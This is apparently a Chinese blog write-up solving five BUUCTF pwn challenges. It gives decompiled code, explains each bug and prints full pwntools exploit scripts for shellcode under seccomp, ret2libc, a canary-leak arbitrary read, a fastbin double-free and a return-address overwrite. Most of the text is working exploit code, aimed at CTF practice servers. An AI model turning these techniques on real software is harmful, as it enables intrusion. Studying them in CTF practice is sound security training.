BUUCTF pwn wp 91 - 95

本文档展示了三个不同的漏洞利用技术,包括利用32位和64位程序中的栈溢出、未初始化的指针以及有限长度shellcode来实现目标操作。在这些例子中,通过修改栈布局、跳转到shellcode、读写文件以及泄露内存信息来获取shell。同时,也演示了如何绕过安全特性如NX、Canary和RELRO。
摘要由CSDN通过智能技术生成

[极客大挑战 2019]Not Bad

在这里插入图片描述

__int64 sub_400949()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  return seccomp_load(v1);
}

在这里插入图片描述

int sub_400A16()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Easy shellcode, have fun!");
  read(0, buf, 0x38uLL);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

有限长度shellcode, 栈可执行有沙箱, 允许read, write, open操作
检查内存区域的权限
在这里插入图片描述
在这里插入图片描述

发现存在可写可执行的mmap申请区域且有jmp rsp, 这里buf长度有限的情况下用jmp rsp跳转到shellcode执行

在这里插入图片描述

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 28170
filename = "./bad"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    wx_stack = 0x123000
    jmp_rsp_addr = 0x0000000000400A01
    payload = asm(shellcraft.read(0, wx_stack, 0x200)) + asm('mov rax,0x123000;call rax;')
    payload = payload.ljust(0x28, b'\x00')
    payload += p64(jmp_rsp_addr) + asm('sub rsp,0x30;jmp rsp;')

    io.sendafter('have fun!', payload)
    payload = asm(shellcraft.open('./flag') + shellcraft.read(3, wx_stack + 0x200, 0x30))
    payload += asm(shellcraft.write(1, wx_stack + 0x200, 0x30))

    io.send(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

cmcc_pwnme1

cmcc_pwnme1(master*)$ file pwnme1;checksec pwnme1
pwnme1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.15, BuildID[sha1]=d2a89c055176b3b4fc229df758c8cf02fe92cbd3, not stripped
[*] '/home/pwn/桌面/cmcc_pwnme1/pwnme1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
int getfruit()
{
  char v1[164]; // [esp+14h] [ebp-A4h] BYREF

  fflush(stdout);
  printf("Please input the name of fruit:");
  __isoc99_scanf("%s", v1);
  return printf("oh,%s...\n", v1);
}

还有个后门

int getflag()
{
  char s[120]; // [esp+14h] [ebp-84h] BYREF
  FILE *stream; // [esp+8Ch] [ebp-Ch]

  puts("Yeah, you got it...");
  stream = fopen("/home/flag", "r");
  if ( !stream )
    perror("/home/flag");
  fgets(s, 120, stream);
  puts(s);
  fclose(stream);
  return 1;
}

想怎么打怎么打

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 25124
filename = "./pwnme1"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    io.sendlineafter('>> 6. Exit    \n', '5')
    getflag_addr = elf.sym['getflag']
    payload = cyclic(0xA4 + 4) + p32(getflag_addr)
    io.sendafter('the name of fruit:', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

在这里插入图片描述

BUU基操, flag不在/home下
直接ret2libc getshell

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 25124
filename = "./pwnme1"
elf = ELF(filename)
libc = ELF("./libc_x86-2.23.so")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    context.log_level="debug"
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    main_addr = elf.sym['main']
    payload = cyclic(0xA4 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    
    io.sendlineafter('>> 6. Exit    \n', '5')
    io.sendlineafter('Please input the name of fruit:', payload)
    puts_addr = u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
    log.info('puts address: %#x', puts_addr)

    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

    payload = cyclic(0xA4 + 4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
    io.sendlineafter('>> 6. Exit    \n', '5')
    io.sendlineafter('Please input the name of fruit:', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

wdb2018_guess

wdb2018_guess(master*)$ file GUESS; checksec GUESS 
GUESS: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30601cc01c05a63af25ec5af8444b9fca2344dba, stripped
[*] '/home/pwn/桌面/wdb2018_guess/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf[48]; // [rsp+30h] [rbp-70h] BYREF
  char s2[56]; // [rsp+60h] [rbp-40h] BYREF
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6(a1, a2, a3);
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    if ( !(unsigned int)sub_400A11() )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(s2);
  if ( !strcmp(buf, s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

canary报错利用, canary被覆盖之后会打印__libc_argv[0]指向的字符串
所以间接有个任意读的能力, 可以泄露puts@got, 泄露libc, 然后泄露environ得到栈地址, 最后泄露buf得到flag
在这里插入图片描述

找到指针到输入字符串之间的偏移量为0xe088 - 0xdf60 = 0x128, 这里要patchelf到2.23版本, 其他版本偏移量会有一定差异

调试确定environ到flag的偏移, 大版本一般不会有出入, 偏移量一定
在这里插入图片描述

偏移为0xe098 - 0xdf30 = 0x168

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 26857
filename = "./GUESS"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    puts_got = elf.got['puts']

    payload = cyclic(0x128) + p64(puts_got)
    io.sendlineafter('Please type your guessing flag', payload)
    io.recvuntil('stack smashing detected ***: ')
    puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
    log.info('puts address: %#x', puts_addr)
    
    libc_base = puts_addr - libc.sym['puts']
    environ_addr = libc_base + libc.sym['__environ']
    log.info('environ_addr: %#x', environ_addr)

    payload = cyclic(0x128) + p64(environ_addr)
    io.sendlineafter('Please type your guessing flag', payload)
    io.recvuntil('stack smashing detected ***: ')
    stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
    log.info('stack address: %#x', stack_addr)

    flag_addr = stack_addr - 0x168
    payload = cyclic(0x128) + p64(flag_addr)
    io.sendlineafter('Please type your guessing flag', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

gyctf_2020_some_thing_exceting

gyctf_2020_some_thing_exceting(master*)$ file gyctf_2020_some_thing_exceting;checksec gyctf_2020_some_thing_exceting
gyctf_2020_some_thing_exceting: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e091f2bc09a19fd73b0549031fc9b03983dd1756, stripped
[*] '/home/pwn/桌面/gyctf_2020_some_thing_exceting/gyctf_2020_some_thing_exceting'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
void __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  sub_400896(a1, a2, a3);
  sub_400939();
  while ( 1 )
  {
    printf("> Now please tell me what you want to do :");
    _isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        Create();
        break;
      case 2:
        GG();
      case 3:
        Delete();
        break;
      case 4:
        Show();
        break;
      case 5:
        goodbye();
      default:
        puts("Emmmmmm!Maybe you want Fool me!");
        goodbye();
    }
  }
}

大概的功能就是create, delete, show
create

unsigned __int64 sub_4009EC()
{
  size_t nbytes; // [rsp+Ch] [rbp-24h] BYREF
  int i; // [rsp+14h] [rbp-1Ch]
  void *buf; // [rsp+18h] [rbp-18h]
  void *v4; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Create Banana    #");
  puts("#---------------------#");
  for ( i = 0; i <= 9 && *(&ptr + i); ++i )
  {
    if ( i == 9 )
    {
      puts("#   so much banana!   #");
      puts("#######################");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  *(&ptr + i) = malloc(0x10uLL);
  printf("> ba's length : ");
  _isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes <= 0 || (int)nbytes > 112 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  buf = malloc((int)nbytes);
  printf("> ba : ");
  read(0, buf, (unsigned int)nbytes);
  printf("> na's length : ");
  _isoc99_scanf("%d", (char *)&nbytes + 4);
  if ( SHIDWORD(nbytes) <= 0 || SHIDWORD(nbytes) > 112 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  printf("> na : ");
  v4 = malloc(SHIDWORD(nbytes));
  read(0, v4, HIDWORD(nbytes));
  *(_QWORD *)*(&ptr + i) = buf;
  *((_QWORD *)*(&ptr + i) + 1) = v4;
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v5;
}

create生成的数据结构是

struct PTR {
	char* ba; // limited length 1 to 112
	char* na; // limited length 1 to 112
};
PTR* ptr; // 0x10 chunk pointer which points to 2 pointers ba and na

delete

unsigned __int64 sub_400C24()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Delete Banana    #");
  puts("#---------------------#");
  printf("> Banana ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  free(*(void **)*(&ptr + v1));
  free(*((void **)*(&ptr + v1) + 1));
  free(*(&ptr + v1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

指针free后没有置零, 存在悬空指针, 导致UAF漏洞

show

unsigned __int64 sub_400D2E()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Delete Banana    #");
  puts("#---------------------#");
  printf("> Banana ID : ");
  printf("> SCP project ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  printf("# Banana's ba is %s\n", *(const char **)*(&ptr + v1));
  printf("# Banana's na is %s\n", *((const char **)*(&ptr + v1) + 1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

flag在程序里是直接读取到bss段的s字符串处, 看到这里存在大小为96的fake chunk
在这里插入图片描述

在这里插入图片描述
所以采取fastbin attack, 在0x6020A0处申请出fake chunk(准确来说是0x602098处, 因为chunk header包括pre size和size, 所以需要前移0x8的地址), show就能打印flag

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 28722
filename = "./gyctf_2020_some_thing_exceting"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def Add(size1, content1, size2, content2):
    io.sendlineafter('> Now please tell me what you want to do :', '1')
    io.sendlineafter('length : ', str(size1))
    io.sendlineafter('> ba : ', content1)
    io.sendlineafter('length : ', str(size2))
    io.sendlineafter('> na : ', content2)

def Delete(index):
	io.sendlineafter('to do :', '3')
	io.sendlineafter('Banana ID : ', str(index))

def Show(index):
	io.sendlineafter('to do :', '4')
	io.sendlineafter('project ID : ', str(index))

def pwn():
    fake_chunk_addr = 0x602098

    Add(0x50, 'chunk0', 0x50, 'chunk1') # 0 
    Add(0x50, 'chunk2', 0x50, 'chunk3') # 1
    Delete(0)
    Delete(1)
    Delete(0)

    Add(0x50, p64(fake_chunk_addr), 0x50, 'chunk1_new') # 2
    Add(0x50, 'chunk2_new', 0x50, 'chunk3_new') # 3
    Add(0x50, 'flag', 0x30, 'anything whatever') # 4

    Show(4)


if __name__ == "__main__":
    pwn()
    io.interactive()

wustctf2020_name_your_cat

wustctf2020_name_your_cat(master*)$ file wustctf2020_name_your_cat;checksec wustctf2020_name_your_cat
wustctf2020_name_your_cat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=094efce6cb328adfe1f2f1dbfa7d38182182e064, not stripped
[*] '/home/pwn/桌面/wustctf2020_name_your_cat/wustctf2020_name_your_cat'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
unsigned int vulnerable()
{
  int i; // [esp+Ch] [ebp-3Ch]
  int v2; // [esp+10h] [ebp-38h]
  char v3[40]; // [esp+14h] [ebp-34h] BYREF
  unsigned int v4; // [esp+3Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  puts("I bought you five famale cats.Name for them?");
  for ( i = 1; i <= 5; ++i )
  {
    v2 = NameWhich(v3);
    printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);
    printf("Her name is:%s\n\n", &v3[8 * v2]);
  }
  return __readgsdword(0x14u) ^ v4;
}
int __cdecl NameWhich(int a1)
{
  int v2[4]; // [esp+18h] [ebp-10h] BYREF

  v2[1] = __readgsdword(0x14u);
  printf("Name for which?\n>");
  __isoc99_scanf("%d", v2);
  printf("Give your name plz: ");
  __isoc99_scanf("%7s", 8 * v2[0] + a1);
  return v2[0];
}

这个函数负责输入name, 但是处理数目时没有检查是否小于5, 所以导致任意地址写6个字节, 可以把ret address劫持到后门函数shell即可get shell

在这里插入图片描述
在这里插入图片描述

偏移为0x38, 除以8得到7

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 25493
filename = "./wustctf2020_name_your_cat"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    shell_addr = 0x080485CB

    for i in range(1, 5):
        io.sendlineafter('Name for which?\n>', str(i))
        io.sendlineafter("Give your name plz: ", str(i))

    io.sendlineafter('Name for which?\n>', '7')
    io.sendlineafter("Give your name plz: ", p32(shell_addr))

if __name__ == "__main__":
    pwn()
    io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值